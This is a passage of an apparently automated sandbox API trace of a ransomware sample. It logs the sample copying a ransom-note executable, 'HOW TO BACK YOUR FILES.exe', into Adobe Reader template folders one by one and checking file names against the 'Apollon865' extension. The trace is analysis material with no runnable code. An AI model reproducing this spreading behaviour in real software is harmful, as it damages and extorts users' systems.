	[0060.348] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL"
	[0060.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfef8 | out: hHeap=0x580000) returned 1
	[0060.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0060.348] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL") returned 63
	[0060.348] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL"
	[0060.348] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.348] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\pol\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.356] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.356] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\POL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c0b3a70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c0b3a70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.356] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.356] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.356] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.356] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.356] lstrlenW (lpString="Apollon865") returned 10
	[0060.356] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.356] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.356] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.356] lstrlenW (lpString="Apollon865") returned 10
	[0060.356] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.356] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR"
	[0060.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfe70 | out: hHeap=0x580000) returned 1
	[0060.356] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0060.356] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR") returned 63
	[0060.356] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR"
	[0060.356] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.357] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.363] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.363] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c0d9bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c0d9bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.363] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.363] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.363] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.363] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.363] lstrlenW (lpString="Apollon865") returned 10
	[0060.363] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.363] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.363] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.363] lstrlenW (lpString="Apollon865") returned 10
	[0060.363] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.363] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD"
	[0060.363] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfde8 | out: hHeap=0x580000) returned 1
	[0060.363] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0060.363] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD") returned 63
	[0060.364] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD"
	[0060.364] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.364] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.367] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.368] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c0d9bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c0d9bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.368] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.368] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.368] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.368] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.368] lstrlenW (lpString="Apollon865") returned 10
	[0060.368] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.368] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.368] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.368] lstrlenW (lpString="Apollon865") returned 10
	[0060.368] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.368] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR"
	[0060.368] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfd60 | out: hHeap=0x580000) returned 1
	[0060.368] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0060.368] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR") returned 63
	[0060.368] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR"
	[0060.368] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.368] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\kor\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.376] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.376] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\KOR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c0d9bd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c0d9bd0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.376] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.376] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.376] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.376] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.376] lstrlenW (lpString="Apollon865") returned 10
	[0060.376] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.376] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.376] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.376] lstrlenW (lpString="Apollon865") returned 10
	[0060.376] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.376] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN"
	[0060.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfcd8 | out: hHeap=0x580000) returned 1
	[0060.376] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0060.376] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN") returned 63
	[0060.376] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN"
	[0060.377] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.377] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\jpn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.385] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.385] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\JPN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c0ffd30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c0ffd30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.385] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.385] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.385] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.385] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.386] lstrlenW (lpString="Apollon865") returned 10
	[0060.386] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.386] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.386] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.386] lstrlenW (lpString="Apollon865") returned 10
	[0060.386] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.386] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA"
	[0060.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfc50 | out: hHeap=0x580000) returned 1
	[0060.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0060.386] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA") returned 63
	[0060.386] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA"
	[0060.386] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.386] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\ita\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.393] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.393] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\ITA\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805b4280, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c125e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c125e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.393] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.393] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.393] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.393] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.393] lstrlenW (lpString="Apollon865") returned 10
	[0060.393] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.393] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.393] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.394] lstrlenW (lpString="Apollon865") returned 10
	[0060.394] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.394] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN"
	[0060.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfbc8 | out: hHeap=0x580000) returned 1
	[0060.394] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0060.394] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN") returned 63
	[0060.394] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN"
	[0060.394] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.394] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hun\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.400] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.400] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HUN\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c125e90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c125e90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.400] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.400] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.400] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.400] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.400] lstrlenW (lpString="Apollon865") returned 10
	[0060.400] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.400] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.400] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.400] lstrlenW (lpString="Apollon865") returned 10
	[0060.400] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.400] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV"
	[0060.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfb40 | out: hHeap=0x580000) returned 1
	[0060.400] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0060.400] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV") returned 63
	[0060.400] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV"
	[0060.401] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0060.401] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\hrv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0060.435] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0060.435] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\HRV\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80a2abc0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x3c14bff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3c14bff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0060.436] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0060.436] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0060.436] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="AdobeID.pdf" | out: lpString1="AdobeID.pdf") returned="AdobeID.pdf"
	[0060.436] lstrlenW (lpString="AdobeID.pdf") returned 11
	[0060.436] lstrlenW (lpString="Apollon865") returned 10
	[0060.436] lstrcmpiW (lpString1="dobeID.pdf", lpString2="Apollon865") returned 1
	[0060.436] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="DefaultID.pdf" | out: lpString1="DefaultID.pdf") returned="DefaultID.pdf"
	[0060.436] lstrlenW (lpString="DefaultID.pdf") returned 13
	[0060.436] lstrlenW (lpString="Apollon865") returned 10
	[0060.436] lstrcmpiW (lpString1="aultID.pdf", lpString2="Apollon865") returned 1
	[0060.436] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA"
	[0060.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfab8 | out: hHeap=0x580000) returned 1
	[0060.436] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0060.436] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA") returned 63
	[0060.436] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\FRA"
	[0060.436] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
